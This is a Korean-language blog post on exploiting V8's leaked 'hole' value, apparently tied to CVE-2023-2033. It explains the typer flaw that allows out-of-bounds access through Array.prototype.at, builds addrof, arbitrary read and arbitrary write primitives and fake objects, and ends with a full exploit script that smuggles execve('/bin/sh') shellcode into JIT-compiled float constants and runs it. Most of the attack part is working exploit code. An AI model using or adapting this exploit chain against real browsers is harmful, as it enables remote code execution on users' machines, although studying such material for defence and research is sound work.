본문 바로가기

Research/Browser

Chrome V8 Hole Exploit

Prerequisite Knowledge

Hole Object

  • V8에서 hole은 빈 공간을 나타내는 객체로써, oddball type으로 사용자가 직접 컨트롤할 수 없는 객체입니다.
 /* v8/src/compiler/js-call-reducer.cc */

     // The contract is that we don't leak "the hole" into "user JavaScript",
     // so we must rename the {element} here to explicitly exclude "the hole"
     // from the type of {element}.
  • 만약 hole 객체에 접근하게 된다면 사용자는 undefined로 변환된 데이터만 확인할 수 있습니다.
d8> %DebugPrint(%TheHole())
DebugPrint: 0x193200002459: [Oddball] in ReadOnlySpace: #hole
0x193200002431: [Map] in ReadOnlySpace
 - type: ODDBALL_TYPE
 - instance size: 28
 - elements kind: HOLEY_ELEMENTS
 - unused property fields: 0
 - enum length: invalid
 - stable_map
 - non-extensible
 - back pointer: 0x1932000023e1 <undefined>
 - prototype_validity cell: 0
 - instance descriptors (own) #0: 0x1932000021ed <Other heap object (STRONG_DESCRIPTOR_ARRAY_TYPE)>
 - prototype: 0x193200002261 <null>
 - constructor: 0x193200002261 <null>
 - dependent code: 0x1932000021e1 <Other heap object (WEAK_ARRAY_LIST_TYPE)>
 - construction counter: 0

Pointer Compression

  • 2020년 초부터 적용된 기법으로 속도 성능향상을 목적으로, 64bit address를 모두 저장하는 게 아니라 하위 32bit 주소와 base address를 조합해 주소를 사용하고 있습니다.
let arr1 = [1.1, 2.2, 3.3, 4.4];

% DebugPrint(arr1);

Object structure

let arr1 = [1.1, 2.2, 3.3, 4.4];

% DebugPrint(arr1);
DebugPrint: 0x13980010a7ad: [JSArray]
 - map: 0x13980024e699 <Map[16](PACKED_DOUBLE_ELEMENTS)> [FastProperties]
 - prototype: 0x13980024e115 <JSArray[0]>
 - elements: 0x13980010a785 <FixedDoubleArray[4]> [PACKED_DOUBLE_ELEMENTS]
 - length: 4
 - properties: 0x139800002259 <FixedArray[0]>
 - All own properties (excluding elements): {
    0x139800006551: [String] in ReadOnlySpace: #length: 0x139800204255 <AccessorInfo name= 0x139800006551 <String[6]: #length>, data= 0x1398000023e1 <undefined>> (const accessor descriptor), location: descriptor
 }
 - elements: 0x13980010a785 <FixedDoubleArray[4]> {
           0: 1.1
           1: 2.2
           2: 3.3
           3: 4.4
 }
0x13980024e699: [Map] in OldSpace
 - type: JS_ARRAY_TYPE
 - instance size: 16
 - inobject properties: 0
 - elements kind: PACKED_DOUBLE_ELEMENTS
 - unused property fields: 0
 - enum length: invalid
 - back pointer: 0x13980024e659 <Map[16](HOLEY_SMI_ELEMENTS)>
 - prototype_validity cell: 0x1398002043cd <Cell value= 1>
 - instance descriptors #1: 0x13980024e625 <DescriptorArray[1]>
 - transitions #1: 0x13980024e6c1 <TransitionArray[4]>Transition array #1:
     0x1398000071fd <Symbol: (elements_transition_symbol)>: (transition to HOLEY_DOUBLE_ELEMENTS) -> 0x13980024e6d9 <Map[16](HOLEY_DOUBLE_ELEMENTS)>

 - prototype: 0x13980024e115 <JSArray[0]>
 - constructor: 0x13980024de55 <JSFunction Array (sfi = 0x13980021ef89)>
 - dependent code: 0x1398000021e1 <Other heap object (WEAK_ARRAY_LIST_TYPE)>
 - construction counter: 0
  • Map (또는 Hidden Class)
    • 객체의 구조를 나타냅니다.
    • 객체의 속성 순서, 속성의 타입, 프로토타입 등과 같은 메타데이터를 포함합니다.

  • 객체가 생성될 때 초기화되며, 객체의 구조가 변경될 때 (예: 속성 추가/제거) 새로운 Map으로 업데이트됩니다.
  • 동일한 구조의 객체는 동일한 Map을 공유하여 메모리를 절약하고 속도를 높입니다.

  • Prototype
    • 객체가 상속받는 부모 객체입니다.
    • 객체의 메서드나 속성을 찾을 때, 해당 객체에 없으면 프로토타입 체인을 따라 상위 프로토타입에서 찾게 됩니다.
    • 모든 객체는 Object.prototype을 최상위 프로토타입으로 가집니다.
  • Elements
    • 배열과 같은 객체의 순서 있는 속성값을 저장하는 배열입니다.
    • 숫자 인덱스를 사용하여 접근합니다.
    • 다양한 종류의 Elements가 있으며, 최적화를 위해 특정 상황에 맞는 Elements 타입을 선택합니다 (예: packed elements, holey elements).
  • Properties
    • 객체의 속성을 저장하는 딕셔너리 또는 배열입니다.
    • 이름(문자열)을 키로 사용하여 속성값을 저장합니다.
    • 속성의 순서는 Map에 저장됩니다.

  • Length
    • 배열의 길이를 나타냅니다.
    • 배열의 최대 인덱스보다 항상 크거나 같습니다.

SMI

  • SMall Integer로 v8에서는 32bit 중 31bit만 사용 가능합니다. 1bit는 flag로 사용됩니다.(31bit<<1n 연산)

Hole Exploit

OOB

optimized JSToNumberConvertBigInt If Range

  • if 구문의 반목문을 최적화하는 과정은 simplified-lowering.cc에서 이루어집니다.
  • 각 과정이 true일 경우와 false일 경우를 만들고 merge를 통해 나올 수 있는 경우의 수를 구하고 최적화를 하게 됩니다.
  • 예를 들어 Number if 구문의 결과가 undefined일 경우와 -1일 경우를 보겠습니다.
function test(b) {
    let index = Number(b ? the.undefined : -1);
    index |= 0;
    index += 1;
    index *= 100
    return index
}
for (i = 0; i < 11000; i++) {
    test(true);
}
  • Typer 단계에서 Number에 대한 최적화가 이루어집니다. 위의 코드 최적화 과정을 보겠습니다.
  • Undefined(Oddball)를 Number할 경우 NaNFalse일 경우 -1로 분기하게 되며, 2개를 merge 하여 하나로 합친 node를 만들게 됩니다.

  • 결과적으로 index0 또는 100이 될 수 있으며 그 값에 대한 범위 최적화가 이루어지게 됩니다.

  • 최적화 과정에 debuging print를 확인해 보겠습니다.
// operation-typer.cc

Type OperationTyper::ToNumber(Type type) {
  printf("\nOperationTyper::ToNumber\n");
  type.Print();
  if (type.Is(Type::Number())) return type;

  // If {type} includes any receivers, we cannot tell what kind of
  // Number their callbacks might produce. Similarly in the case
  // where {type} includes String, it's not possible at this point
  // to tell which exact numbers are going to be produced.
  if (type.Maybe(Type::StringOrReceiver())) return Type::Number();

  // Both Symbol and BigInt primitives will cause exceptions
  // to be thrown from ToNumber conversions, so they don't
  // contribute to the resulting type anyways.
  type = Type::Intersect(type, Type::PlainPrimitive(), zone());

  // This leaves us with Number\/Oddball, so deal with the individual
  // Oddball primitives below.
  DCHECK(type.Is(Type::NumberOrOddball()));
  if (type.Maybe(Type::Null())) {
    // ToNumber(null) => +0
    type = Type::Union(type, cache_->kSingletonZero, zone());
  }
  if (type.Maybe(Type::Undefined())) {
    // ToNumber(undefined) => NaN
    type = Type::Union(type, Type::NaN(), zone());
  }
  if (type.Maybe(singleton_false_)) {
    // ToNumber(false) => +0
    type = Type::Union(type, cache_->kSingletonZero, zone());
  }
  if (type.Maybe(singleton_true_)) {
    // ToNumber(true) => +1
    type = Type::Union(type, cache_->kSingletonOne, zone());
  }
  printf("\nlast type\n");
  type.Print();
  return Type::Intersect(type, Type::Number(), zone());
}
OperationTyper::ToNumber
Undefined

last type
(NaN | Undefined)
  • UndefinedNaN으로 변하는 것을 확인할 수 있습니다.
  • Hole일 경우를 살펴보면 Undefined와 마찬가지로 Hole | -1을 최적화하게 됩니다.
function test(b) {
    let index = Number(b ? the.hole : -1);
    index |= 0;
    index += 1;
    index *= 100
    return index
}
for (i = 0; i < 11000; i++) {
    test(true);
}

  • 하지만 JSToNumberConverBigInt로 오는 값은 -1만 있게 된다고 최적화하게 됩니다. 그 이유는 Number 최적화 과정에서 Hole type을 처리하는 루틴이 없기 때문입니다.

OperationTyper::ToNumber
None

Why use at method

  • 0이라고 최적화된 index를 배열에 접근할 때 arr []가 아닌 arr.at()을 사용해야 합니다.
function test(b) {
    let index = Number(b ? the.hole : -1);
    index |= 0;
    index += 1;

    let arr = [1.1, 2.2, 3.3, 4.4];

    let p = arr[index*4];
    // let p = arr.at(index*4);

    return [p, arr]
}
  • Typer단계에서 arr []를 사용하게 되면 index(0)*4 = 0이라고 최적화되지만 arr의 범위를 체크하는 checkbound가 생깁니다.

  • 2019년 이전에는 simplified 단계에서 접근하는 index의 범위가 arr의 length보다 작다면 checkbound를 삭제시켰지만 2019년 이후 CheckUint32 Bounds로 남겨 확인하도록 패치되었기 때문입니다.

diff --git a/src/compiler/simplified-lowering.cc b/src/compiler/simplified-lowering.cc
index 8dbb7d9..18c930f 100644
--- a/src/compiler/simplified-lowering.cc
+++ b/src/compiler/simplified-lowering.cc
@@ -1566,6 +1566,8 @@
         VisitBinop(node, UseInfo::TruncatingWord32(),
                    MachineRepresentation::kWord32);
         if (lower()) {
+          CheckBoundsParameters::Mode mode =
+              CheckBoundsParameters::kDeoptOnOutOfBounds;
           if (lowering->poisoning_level_ ==
                   PoisoningMitigationLevel::kDontPoison &&
               (index_type.IsNone() || length_type.IsNone() ||
@@ -1573,11 +1575,10 @@
                 index_type.Max() < length_type.Min()))) {
             // The bounds check is redundant if we already know that
             // the index is within the bounds of [0.0, length[.
-            DeferReplacement(node, node->InputAt(0));
-          } else {
-            NodeProperties::ChangeOp(
-                node, simplified()->CheckedUint32Bounds(p.feedback()));
+            mode = CheckBoundsParameters::kAbortOnOutOfBounds;
           }
+          NodeProperties::ChangeOp(
+              node, simplified()->CheckedUint32Bounds(p.feedback(), mode));
         }
       } else {
         VisitBinop(
@@ -1586,7 +1587,9 @@
             UseInfo::TruncatingWord32(), MachineRepresentation::kWord32);
         if (lower()) {
           NodeProperties::ChangeOp(
-              node, simplified()->CheckedUint32Bounds(p.feedback()));
+              node,
+              simplified()->CheckedUint32Bounds(
+                  p.feedback(), CheckBoundsParameters::kDeoptOnOutOfBounds));
         }
       }
     } else {
  • 하지만 at method는 arr의 length가 작을 경우 범위를 참조하지 않게 되기 때문입니다.
//js-call-reducer.cc

TNode<Object> IteratingArrayBuiltinReducerAssembler::ReduceArrayPrototypeAt(

    // ...

    // Bound checking.
    GotoIf(NumberLessThan(real_index_num, ZeroConstant()), &out,
           UndefinedConstant());
    GotoIfNot(NumberLessThan(real_index_num, length), &out,
              UndefinedConstant());

    // ... 
  }
  • Bound check 과정에서 index 보다 적을 경우 그냥 처리하는 코드가 들어있습니다.

Helper Function

const FIXED_ARRAY_HEADER_SIZE = 8n; // array fixed header size 8byte

var arr_buf = new ArrayBuffer(8); // shared buffer
var f64_arr = new Float64Array(arr_buf); // buffer for float
var b64_arr = new BigInt64Array(arr_buf); // buffer for bigint

// convert float to bigint
function ftoi(f) {
    f64_arr[0] = f;
    return b64_arr[0];
}

// convert bigint to float
function itof(i) {
    b64_arr[0] = i;
    return f64_arr[0];
}

// convert smi to origin
function smi(i) {
    return i << 1n;
}

//scavenge
function gc_minor() { 
    for(let i = 0; i < 1000; i++) {
        new ArrayBuffer(0x10000);
    }
}

//mark-sweep
function gc_major() { 
    new ArrayBuffer(0x7fe00000);
}

// print integer as hex
function hex(i) {
 console.log('0x' + i.toString(16));
}

Primitive

const the = { hole: leak_hole() };

var large_arr = new Array(0x10000);
large_arr.fill(itof(0xDEADBEE0n));  // change array type to HOLEY_DOUBLE_ELEMENTS_MAP

var fake_arr = null;
var fake_arr_addr = null;
var fake_arr_elements_addr = null;

var packed_dbl_map = null;
var packed_dbl_props = null;

var packed_map = null;
var packed_props = null;

function leak_stuff(b) {
    if(b) {
        let index = Number(b ? the.hole : -1);
        index |= 0;
        index += 1;

        let arr1 = [1.1, 2.2, 3.3, 4.4];
        let arr2 = [0x1337, large_arr];

        let packed_double_map_and_props = arr1.at(index*4); // arr1 map & props
        let packed_double_elements_and_len = arr1.at(index*5); // arr1 elements & len

        let packed_map_and_props = arr1.at(index*8); // arr2 map & props
        let packed_elements_and_len = arr1.at(index*9); // arr2 elements & len

        let fixed_arr_map = arr1.at(index*6); // arr2_elements map(fixed_arr)

        let large_arr_addr = arr1.at(index*7); // arr2 elements value

        return [
            packed_double_map_and_props, packed_double_elements_and_len,
            packed_map_and_props, packed_elements_and_len, 
            fixed_arr_map, large_arr_addr, 
            arr1, arr2
        ];
    }
    return 0;
}
  • OOB가 가능하기 때문에 원하는 배열을 구성해 Object의 요소들의 주소를 얻을 수 있습니다.
let arr1 = [1.1, 2.2, 3.3, 4.4];
let arr2 = [0x1337, large_arr];
  • arr1[4] = arr1 map & props

  • arr1[5] = arr1 elements & len

  • arr[6] = arr2_elements map(fixed_arr)
  • arr[7] = arr2 value

  • arr[8] = arr2 map & props
  • arr[9] = arr2 elements & len

function weak_fake_obj(b, addr = 1.1) {
    if (b) {
        let index = Number(b ? the.hole : -1);
        index |= 0;
        index += 1;

        let arr1 = [0x1337, {}]
        let arr2 = [addr, 2.2, 3.3, 4.4];

        let fake_obj = arr1.at(index * 8);

        return [
            fake_obj,
            arr1, arr2
        ];
    }
    return 0;
}
  • addr에 들어온 주소를 fake object로 반환합니다.
function install_primitives() {
    /* opt */
    for (let i = 0; i < 2000; i++) {
        weak_fake_obj(false, 1.1);
    }
    for (let i = 0; i < 2000; i++) {
        weak_fake_obj(true, 1.1);
    } 

    for(let i = 0; i < 11000; i++) {
        leak_stuff(false);
    }
    for(i = 0; i < 11000; i++) {
        leak_stuff(true);
    }

    gc_minor();

    let leaks = leak_stuff(true);

    /* pointer compression isolation (32bit + 32bit) */
    let packed_double_map_and_props = ftoi(leaks[0]); // arr1 map & props
    packed_dbl_map = packed_double_map_and_props & 0xFFFFFFFFn;
    packed_dbl_props = packed_double_map_and_props >> 32n;

    let packed_double_elements_and_len = ftoi(leaks[1]); // arr1 elements & len
    let packed_dbl_elements = packed_double_elements_and_len & 0xFFFFFFFFn;

    let packed_map_and_props = ftoi(leaks[2]); // arr2 map & props
    packed_map = packed_map_and_props & 0xFFFFFFFFn;
    packed_props = packed_map_and_props >> 32n;

    let packed_elements_and_len = ftoi(leaks[3]); // arr2 elements & len
    let packed_elements = packed_elements_and_len & 0xFFFFFFFFn;

    let fixed_arr_map = ftoi(leaks[4]) & 0xFFFFFFFFn; // arr2_elements map(fixed_arr)

    let large_arr_addr = ftoi(leaks[5]) >> 32n; // arr2 elements value(0x1337, large_arr)

    // ...
}

Fake Object

    // ...

    /* fake object create */
    let dbl_arr = leaks[6]; // arr1

    // create tmp_fake object
    dbl_arr[0] = itof(packed_dbl_map | (packed_dbl_props << 32n)); // arr1[0] = map | props
    dbl_arr[1] = itof(((large_arr_addr + 8n) - FIXED_ARRAY_HEADER_SIZE) | (smi(1n) << 32n)); // arr1[1] = elements | len

    let temp_fake_arr_addr = (packed_dbl_elements + FIXED_ARRAY_HEADER_SIZE) | 1n; // arr1[0] address
    let temp_fake_arr = weak_fake_obj(true, itof(temp_fake_arr_addr));

    // fake_object args address
    let large_arr_elements_addr = ftoi(temp_fake_arr[0]) & 0xFFFFFFFFn; // large_arr_elements
    fake_arr_addr = large_arr_elements_addr + FIXED_ARRAY_HEADER_SIZE; // large_arr[0]
    fake_arr_elements_addr = fake_arr_addr + 16n; // large_arr[2]

    // create fake object
    large_arr[0] = itof(packed_dbl_map | (packed_dbl_props << 32n));
    large_arr[1] = itof(fake_arr_elements_addr | (smi(0n) << 32n));
    large_arr[2] = itof(fixed_arr_map | (smi(0n) << 32n));

    fake_arr = weak_fake_obj(true, itof(fake_arr_addr))[0];

    temp_fake_arr = null;

    //...

addrof

  • fake_arr를 이용해서 원하는 object의 주소를 구합니다.
function addrof(obj) {
    large_arr[0] = itof(packed_dbl_map | (packed_dbl_props << 32n));
    large_arr[1] = itof(fake_arr_elements_addr | (smi(1n) << 32n));

    fake_arr[0] = obj;
    let result = ftoi(large_arr[3]) & 0xFFFFFFFFn;

    large_arr[1] = itof(0n | (smi(0n) << 32n));

    return result;
}
  • Debug large_arr info
0x2bed0024e719: [Map] in OldSpace
 - type: JS_ARRAY_TYPE
 - instance size: 16
 - inobject properties: 0
 - elements kind: PACKED_ELEMENTS
 - unused property fields: 0
 - enum length: invalid
 - back pointer: 0x2bed0024e6d9 <Map[16](HOLEY_DOUBLE_ELEMENTS)>
 - prototype_validity cell: 0x2bed002043cd <Cell value= 1>
 - instance descriptors #1: 0x2bed0024e625 <DescriptorArray[1]>
 - transitions #1: 0x2bed0024e741 <TransitionArray[4]>Transition array #1:
     0x2bed000071fd <Symbol: (elements_transition_symbol)>: (transition to HOLEY_ELEMENTS) -> 0x2bed0024e759 <Map[16](HOLEY_ELEMENTS)>

 - prototype: 0x2bed0024e115 <JSArray[0]>
 - constructor: 0x2bed0024de55 <JSFunction Array (sfi = 0x2bed0021ef89)>
 - dependent code: 0x2bed000021e1 <Other heap object (WEAK_ARRAY_LIST_TYPE)>
 - construction counter: 0

  • 위 그림에서와 같이 fake_arr[0] = large_arr[3] 으로, fake_arr[0]=obj를 넣고 large_arr[3]으로 주소를 구합니다.

aar

  • fake_arrelements로 값을 구하고 싶은 주소로 변경하고 fake_arr[0]으로 값을 읽어 반환합니다.
function aar(addr) {
    addr -= FIXED_ARRAY_HEADER_SIZE;

    large_arr[0] = itof(packed_dbl_map | (packed_dbl_props << 32n));
    large_arr[1] = itof((addr | 1n) | (smi(1n) << 32n));

    let result = ftoi(fake_arr[0]);

    large_arr[1] = itof(0n | (smi(0n) << 32n));

    return result;
}

aaw

  • fake_arrelements로 값을 변경하고 싶은 주소로 변경하고 fake_arr[0]에 값을 덮어씌웁니다.
function aaw(addr, value) {
    addr -= FIXED_ARRAY_HEADER_SIZE;

    large_arr[0] = itof(packed_dbl_map | (packed_dbl_props << 32n));
    large_arr[1] = itof((addr | 1n) | (smi(1n) << 32n));

    fake_arr[0] = itof(value);

    large_arr[1] = itof(0n | (smi(0n) << 32n));
}

Shellcode Execute Protect Bypass

  • 이전에는 WebAssemblyRWX 공간을 이용해 shellcode를 실행하였습니다. 그러나 패치로 인해 X권한이 없어졌으므로 기존 방식을 사용할 수 없게 됐습니다.
  • javascript함수를 실행할 때 code+0xb의 주소로 점프하여 함수를 실행하게 됩니다.
function f() {
    a =[1.1, 2.2, 3.3];
}
%PrepareFunctionForOptimization(f);
f();
%OptimizeFunctionOnNextCall(f);
f();

%DebugPrint(f);

  • 이제 함수 내부 실행을 확인해 보면 배열이 할당되는 것을 확인할 수 있습니다.

  • 여기서 쓰인 메모리는 실행 가능 권한으로, 실행가능한 메모리에 8byte 쉘코드를 삽입 가능합니다.

  • 이제 원하는 shellcode를 jmp로 연결시켜 주면 실행가능 권한이 있는 메모리에 shell을 할당할 수 있습니다.
    특히, f() 함수를 최적화시켜야 상수들이 Code에 Inline으로 들어가 원하는 값을 할당할 수 있습니다.
function f() {
    return [1.0,
        1.95538254221075331056310651818E-246,
        1.95606125582421466942709801013E-246,
        1.99957147195425773436923756715E-246,
        1.95337673326740932133292175341E-246,
        2.63486047652296056448306022844E-284];
}

% PrepareFunctionForOptimization(f);
f();
% OptimizeFunctionOnNextCall(f);
f();

% DebugPrint(f);

Full Exploit

  • ENV
OS : Ubuntu 22.04, Windows 7~11
V8 Version : 10.9.194.10
Options : --no-sandbox
/* ubuntu.js */

const FIXED_ARRAY_HEADER_SIZE = 8n; // array fixed header size 8byte

var arr_buf = new ArrayBuffer(8); // shared buffer
var f64_arr = new Float64Array(arr_buf); // buffer for float
var b64_arr = new BigInt64Array(arr_buf); // buffer for bigint

// convert float to bigint
function ftoi(f) {
    f64_arr[0] = f;
    return b64_arr[0];
}

// convert bigint to float
function itof(i) {
    b64_arr[0] = i;
    return f64_arr[0];
}

// convert smi to origin
function smi(i) {
    return i << 1n;
}

//scavenge
function gc_minor() { 
    for(let i = 0; i < 1000; i++) {
        new ArrayBuffer(0x10000);
    }
}

//mark-sweep
function gc_major() { 
    new ArrayBuffer(0x7fe00000);
}

// print integer as hex
function hex(i) {
 console.log('0x' + i.toString(16));
}


/* leak hole */

/*

...

*/

const the = { hole: leak_hole() };


/* primitives */

var large_arr = new Array(0x10000);
large_arr.fill(itof(0xDEADBEE0n)); 

var fake_arr = null;
var fake_arr_addr = null;
var fake_arr_elements_addr = null;

var packed_dbl_map = null;
var packed_dbl_props = null;

var packed_map = null;
var packed_props = null;

function leak_stuff(b) {
    if (b) 
    {
        let index = Number(b ? the.hole : -1);
        index |= 0;
        index += 1;

        let arr1 = [1.1, 2.2, 3.3, 4.4];
        let arr2 = [0x1337, large_arr];

        let packed_double_map_and_props = arr1.at(index * 4);
        let packed_double_elements_and_len = arr1.at(index * 5);

        let packed_map_and_props = arr1.at(index * 8);
        let packed_elements_and_len = arr1.at(index * 9);

        let fixed_arr_map = arr1.at(index * 6);

        let large_arr_addr = arr1.at(index * 7);

        return [
            packed_double_map_and_props, packed_double_elements_and_len,
            packed_map_and_props, packed_elements_and_len,
            fixed_arr_map, large_arr_addr,
            arr1, arr2
        ];
    }
    return 0;
}

function weak_fake_obj(b, addr = 1.1) {
    if (b) {
        let index = Number(b ? the.hole : -1);
        index |= 0;
        index += 1;

        let arr1 = [0x1337, {}]
        let arr2 = [addr, 2.2, 3.3, 4.4];

        let fake_obj = arr1.at(index * 8);

        return [
            fake_obj,
            arr1, arr2
        ];
    }
    return 0;
}

function addrof(obj) {
    large_arr[0] = itof(packed_dbl_map | (packed_dbl_props << 32n));
    large_arr[1] = itof(fake_arr_elements_addr | (smi(1n) << 32n));

    fake_arr[0] = obj;
    let result = ftoi(large_arr[3]) & 0xFFFFFFFFn;

    large_arr[1] = itof(0n | (smi(0n) << 32n));

    return result;
}

function aar(addr) {
    addr -= FIXED_ARRAY_HEADER_SIZE;

    large_arr[0] = itof(packed_dbl_map | (packed_dbl_props << 32n));
    large_arr[1] = itof((addr | 1n) | (smi(1n) << 32n));

    let result = ftoi(fake_arr[0]);

    large_arr[1] = itof(0n | (smi(0n) << 32n));

    return result;
}

function aaw(addr, value) {
    addr -= FIXED_ARRAY_HEADER_SIZE;

    large_arr[0] = itof(packed_dbl_map | (packed_dbl_props << 32n));
    large_arr[1] = itof((addr | 1n) | (smi(1n) << 32n));

    fake_arr[0] = itof(value);

    large_arr[1] = itof(0n | (smi(0n) << 32n));
}

function install_primitives() {
    for (let i = 0; i < 2000; i++) {
        weak_fake_obj(false, 1.1);
    }
    for (let i = 0; i < 2000; i++) {
        weak_fake_obj(true, 1.1);
    }

    for (let i = 0; i < 11000; i++) {
        leak_stuff(false);
    }
    for (i = 0; i < 11000; i++) {
        leak_stuff(true);
    }

    gc_minor();

    let leaks = leak_stuff(true);

    let packed_double_map_and_props = ftoi(leaks[0]);
    packed_dbl_map = packed_double_map_and_props & 0xFFFFFFFFn;
    packed_dbl_props = packed_double_map_and_props >> 32n;

    let packed_double_elements_and_len = ftoi(leaks[1]);
    let packed_dbl_elements = packed_double_elements_and_len & 0xFFFFFFFFn;

    let packed_map_and_props = ftoi(leaks[2]);
    packed_map = packed_map_and_props & 0xFFFFFFFFn;
    packed_props = packed_map_and_props >> 32n;

    let packed_elements_and_len = ftoi(leaks[3]);
    let packed_elements = packed_elements_and_len & 0xFFFFFFFFn;

    let fixed_arr_map = ftoi(leaks[4]) & 0xFFFFFFFFn;
    let large_arr_addr = ftoi(leaks[5]) >> 32n;

    /* create fake object */
    let dbl_arr = leaks[6];
    dbl_arr[0] = itof(packed_dbl_map | (packed_dbl_props << 32n));
    dbl_arr[1] = itof(((large_arr_addr + 8n) - FIXED_ARRAY_HEADER_SIZE) | (smi(1n) << 32n));

    let temp_fake_arr_addr = (packed_dbl_elements + FIXED_ARRAY_HEADER_SIZE) | 1n;

    let temp_fake_arr = weak_fake_obj(true, itof(temp_fake_arr_addr));
    let large_arr_elements_addr = ftoi(temp_fake_arr[0]) & 0xFFFFFFFFn;
    fake_arr_addr = large_arr_elements_addr + FIXED_ARRAY_HEADER_SIZE;
    fake_arr_elements_addr = fake_arr_addr + 16n;

    large_arr[0] = itof(packed_dbl_map | (packed_dbl_props << 32n));
    large_arr[1] = itof(fake_arr_elements_addr | (smi(0n) << 32n));
    large_arr[2] = itof(fixed_arr_map | (smi(0n) << 32n));

    fake_arr = weak_fake_obj(true, itof(fake_arr_addr))[0];

    temp_fake_arr = null;
}

do {
    install_primitives();
} while (!packed_dbl_map);


/* execute shellcode */

let shellcode = [0xceb586e69622f68n,
    0xceb5b0068732f68n,
    0xceb909020e3c148n,
    0xceb909050d80148n,
    0xceb909090e78948n,
    0xceb903bb0c03148n,
    0x50fd23148f63148n];  // execve("/bin/sh", 0, 0)

const f = () => {
    return [1.9555025752250707e-246,
        1.9562205631094693e-246,
        1.9711824228871598e-246,
        1.9711826272864685e-246,
        1.9711829003383248e-246,
        1.9710902863710406e-246,
        2.6749077589586695e-284];
}

for (let i = 0; i < 0x10000; i++) { f(); f(); f(); f(); }

let code = aar(addrof(f) + 0x18n) & 0xffffffffn;
let inst = aar(code + 0xcn) + 0x60n;
aaw(code + 0xcn, inst);

f();

Reference

https://github.com/mistymntncop/CVE-2023-2033

https://v8.dev/blog/pointer-compression

https://v8.dev/blog/fast-properties